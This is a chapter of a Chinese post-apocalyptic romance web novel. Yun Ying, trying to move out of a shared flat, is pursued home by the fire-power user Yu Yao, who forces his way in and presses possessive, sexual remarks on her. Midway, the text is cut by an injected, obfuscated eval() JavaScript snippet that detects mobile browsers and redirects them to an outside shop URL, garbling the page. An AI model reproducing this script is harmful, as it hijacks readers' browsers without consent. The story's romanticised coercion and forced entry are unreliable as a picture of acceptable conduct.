基地里有固定供水,但需要积分,并且十分昂贵,因此许多人不会把水资源用在这么无关紧要的事情上。
比如洗澡。
云楹不如末日前活得仔细,但也受不了长期不洗澡,尤其在出了任务后。
她用积分购买了一桶水,拎到浴室,趁宋淮出门的时候,锁上家里所有门,在浴室简单洗了遍。
宋淮回来的时候,浴室已经收拾干净,云楹的卧房门紧闭,透不出一丝光。
他是水系异能者,能简单凝出些水源,推门进入浴室,里头浓郁的香还没散去,是一种茉莉花香,洗发水还是云楹花积分在市场买的。
宋淮的喉口艰难吞咽了下,干燥得令他难以冷静,他随便盥洗了下,从浴室出来,站在空旷的客厅里。
家里的东西一直都摆得干净利落,云楹是个很爱干净且有边界感的人,除了他睡觉的沙发不会乱碰之外,其它东西她都归纳得整整齐齐。
现在她要搬出去。
宋淮盯着她的房门,满脑子都是今天她缩在那异能者怀里的模样,高大的火系异能者有着健康的小麦色肌肤,比她宽阔太多的身躯搂住她,能将她完全遮蔽,在那种生死关头时,所有人都在逃生,唯有她被安妥护着。
这么急着搬走,是因为攀上了一个更强的异能者吗?
宋淮说不清自己在想什么,鬼迷神差地朝她的房门靠近,轻声喊着:“阿楹,你睡了吗?”
云楹没回他。
宋淮喊了几遍,里头没有声音。
宋淮的手搭在了门把手上,喉口疯狂吞咽,他握住把手,刚要悄悄拧下——
——叩。
是房门被敲响的声音。
敲响的是大门。
宋淮猛地回头,眉毛紧蹙,满脸都是被打断的不耐。
他走过去打开门,以为又是楼上那对情侣来借拖把,开门就骂:“都说了你们自己买——”
未说完的话戛然而止。
门外站的不是那对情侣,而是城卫队的人。
“宋先生,请跟我们走一趟吧。”
听到外面门开又关的声音,云楹等了许久,家里安静沉寂,确定没人后,她紧绷的肩膀松下来,长长呼出了口气。
云楹爬下床,确定房门已经反锁,又觉得不放心,将桌子也推来堵在门后。
过去宋淮从来没有拧过她的门把手,云楹知道他今天不对劲,根本不敢睡,也不敢回他的话,以为装作睡觉,宋淮就不会自讨没趣了。
但他在拧她的把手。
云楹打开充电台灯,坐在桌边开始写申请报告。
天一亮,她立马就去找房子。
-
作为一个二阶异能者,宋淮是没有资格进入内城综合大厅的。
城卫队隶属于综合大厅管辖,城卫队的队长姓张,名叫张秦,五阶雷电系异能者。
宋淮这一路都忐忑不安,不知道自己是犯了什么错,竟然能让城卫队队长亲传他,在路上打听了一轮,这几个来接他的人愣是一句话不吭,反而让他更是心慌了。
步入综合大厅,坐上电梯,一行人抵达了负三层。
宋淮被引进了一间屋子,刚进去的刹那,从格布后面走出几个身穿防护服的人,不由分说将他按住。
“你们做什么!干什么呢!”
几人将宋淮按倒在检查床上,一个戴着口罩的医生捋上他的衣袖:“宋先生,您的身上有伤口,请配合检查。”
宋淮的脸色顿时惨白,忙说道:“这些不是丧尸抓的,而且在进入基地前,我已经隔离过了!”
医生已经将麻醉剂推进他的血管内,防护镜后的眼睛眸色平淡。
“请您配合检查。”
麻醉剂很快将宋淮迷晕。
单向窗后站着几人,一人身着城卫队制服,身形魁梧,面容粗犷,双手环胸看着窗后的医护人员正在取样采集。
张秦说道:“身上有伤的人在进入基地前,隔离的时间会更久,还得做对应的检查,没有几天时间估计出不来,他应该是借着人多混了过去,这次受伤人员的名单上没有他。”
他回头看向靠在桌旁的人,宽阔高大的身躯拢在阴影里,暖黄的光打在他脸上,仍未柔和他锐利的轮廓。
张秦在基地这么久,很少见到一个年轻人身上有这么大戾气的。
“兄弟是怎么知道他受伤了的?”
“看到了。”
张秦:“被丧尸伤到的?”
余曜抬起头,唇角微弯:“或许吧,没看清。”
张秦眉梢一挑,点了点头。
他年纪也不小了,人心早已看得透彻,这哪是没看清,分明就是有意为之,余曜和宋淮有过节。
张秦负手转过去,看着玻璃后面说道:“按基地律规,隐瞒伤情不报是重罪,扣罚一千积分,关押半月,且下次会跟着基地出A级任务。”
余曜站直身子,目光落在玻璃后的宋淮身上:“我记得宋先生有个女朋友,他无端消失半月,女朋友会不会着急呢?”
张秦忽然笑了声,听异能者们说了些事情,这个火系的异能者掳走了个女孩子。
原来是宋淮的女朋友啊。
明人不说暗话,也不用余曜再点,张秦道:“不知道兄弟忙不忙,能不能请余兄弟去通知一声?”
余曜笑起来:“正好,不忙。”
-
天刚亮,云楹就准备去外城区找房子。
按照江城基地的规矩,除了流民住的帐篷,其余房子都是需要提前申请的,云楹算了算自己的积分,目前能勉强租上两个月,大不了她多出几趟任务。
云楹到了外城区租房的地方,按照工作人员的指使填好申请,询问道:“请问申请多久会有回复啊?”
玻璃窗后的人神色不耐,头也不抬道:“回去等着吧,最近申请的人多,得一段时间。”
云楹点点头:“……行,谢谢。”
她背上挎包往外走,街上人太多,异味很重,在外城区居住的大多都是普通人,这里没有内城的设施完善,供水供电都异常紧缺,街上随处可见因交不起积分被赶出来,只能搭帐篷或席地而睡的人。
在末日,能活着就已经是不易了。
迎面走来几个脚踩人字拖的人,云楹看见来者,眉头紧皱,赶忙朝一边躲,但还是被瞥见了。
“呦,这不是宋小子那女朋友吗?”瘦猴在身后喊她,云楹当没听见,握紧背包往前走。
刚子闪到她面前,粗狂的身躯挡住她的路:“怎么了,你男朋友不要你了,来外城区,知道这里是什么地方吗?”
云楹强自镇定:“我只是来买点东西,现在该回去了。”
“走什么?”瘦猴堵着另一条路,盯着云楹这张抹了灰尘的脸,“听说你男朋友还把你丢尸群里了,啧,也不知道他怎么舍得——”
他抬手要去勾云楹的卫衣系带,云楹一脚踩上他的脚面,狠狠踹了他的小腿,趁他吃痛的时候掏出背包里的自制辣椒水,对着两人的眼睛一阵狂喷,随后转身就跑。
“这死丫头,站住!”刚子捂住眼睛,痛得龇牙咧嘴。
外城区这种事多了去了,火烧不到自己身上,根本没人管,云楹疯狂往前跑,很快就听到那两个流氓追上来的声音。
“等老子抓到你就弄死你!”
“站住,你个臭丫头!”
云楹一扭头钻进个狭窄的胡同,刚子体型太胖根本钻不进去,瘦猴挤着进去。
刚子啐了一口,转身准备去另一条路口堵云楹,刚扭头,一个拳头砸了过来,重重锤在了他的眼窝。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552369|204357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>陆瑶活动活动手腕,抗住他的一条胳膊,将两百来斤的人过肩摔在地上。
胡同里,瘦猴看到云楹消失在转角,低低骂了一声,他在外城区混了太久,知道这里的路况,转身就准备抄近路。
子弹穿透他的左肩,他发出一声凄厉的惨叫,捂着肩头倒在地上。
离此几十米的一栋老旧居民楼里,林惜枝放下枪,嚼碎嘴里的棒棒糖,看到陆瑶朝她比了个手势,她起身收枪归队。
枪声被消了音,云楹是没听到的,冲出胡同口没见那两人追上,她撒脚就往内城区跑,看到内城区的城卫队时才松了口气。
但云楹仍不敢停,一路往住处跑,她住的地方是一栋在末世前有几十年房龄的老旧居民楼,没有电梯,云楹跑了一路,脚步虚浮无力,连上楼都打颤。
一路走到六楼,快要走到的时候,云楹正从包里掏钥匙,腿一软,身子后仰陡然悬空,她尖叫一声,撞进了身后的怀抱。
常年锻炼的人身上没一块软的地方,云楹撞得脊背生疼,听见头顶沉闷的笑声,她仰头一看,差点没吓得两眼一闭昏过去。
余曜单手搂住她的腰,走路一点声音都没,云楹根本不知道他跟了多久。
余曜拿过她手中的钥匙,单手一提,将云楹提上了最后一层台阶,他自身后裹着她来到门前,钥匙插入门锁中,轻轻一拧便开了门。
云楹被他推进屋内,还没来得及阻止,他紧随其后,单手关上了门。
云楹慌忙转身,使劲推了推:“你、你出去啊!”
从卫衣袖口伸出的手细如青葱,手指纤细白皙,搭在他的冲锋衣上,白与黑的对比如此分明,她用尽了力气去推他,于他而言却像在挠痒痒般。
余曜喉口滚了滚,见小姑娘急得眼睛都红了,坏心肠地脱掉鞋踩上地板,跟进自家一样登堂入室。
“慌什么,怕你的男朋友回来看到?”
这土匪!
云楹踩上拖鞋追过去:“这是我家,你出去!”
“怎么这么凶,刚救了你,不请我喝杯茶?”
余曜跟没听到一样,左右环顾随意打量,一室一厅的小家装修并不好,甚至破败,但屋里打扫得干干净净,家具摆放得井井有条,沙发上铺着暖黄色的被单,地板被擦得锃亮。
在末日很少有见到这样干净的住所,过去生活再光鲜亮丽的人,当生存都成了问题,也会委屈自己将就活着的。
“你到底要做什么!”
眼见他要往卧室走,云楹几步跑过来,堵在他和卧室门前。
余曜垂眸看着才到他肩头的人,她仰着一张嫩白的脸,脸上红扑扑的,不知道是气得还是累得。
“你和他住在一起?”
云楹看了眼沙发,家里太小了,往往宋淮不在客厅睡觉的时候,都会将自己的被褥收起来,腾出空间。
见她不说话,等同于默认了。
余曜觉得这话简直跟废话一样,末日前就是情侣,这里只有一间卧室,情侣间有什么好避讳的?
情侣住在一起过日子,会拥抱,会亲吻,会做.爱,什么都会做的。
这么一个宝贝疙瘩,他想对她做的事情,另一个男人也不会例外。
余曜上前一步,云楹被他吓得往后退,脊背抵着冰凉的门板。
余曜盯着她的脸,只觉得一股闷火在烧着肺腑,俯身靠近她:“他一晚上能来几次,他能让你舒服吗,他能保护好你,给你更好的生活条件吗?”
“你看,这么漂亮的一张脸,跟着他却要藏着掖着。”
在云楹惊惶的目光中,余曜抬手摁在她的脸上,指腹搓了搓,将她刻意抹上去的灰垢擦掉,渐渐露出嫩白的肌肤,近乎一字一顿地说话。
“宝贝,我可比他好多了,要不要考虑一下,和他分手呢?”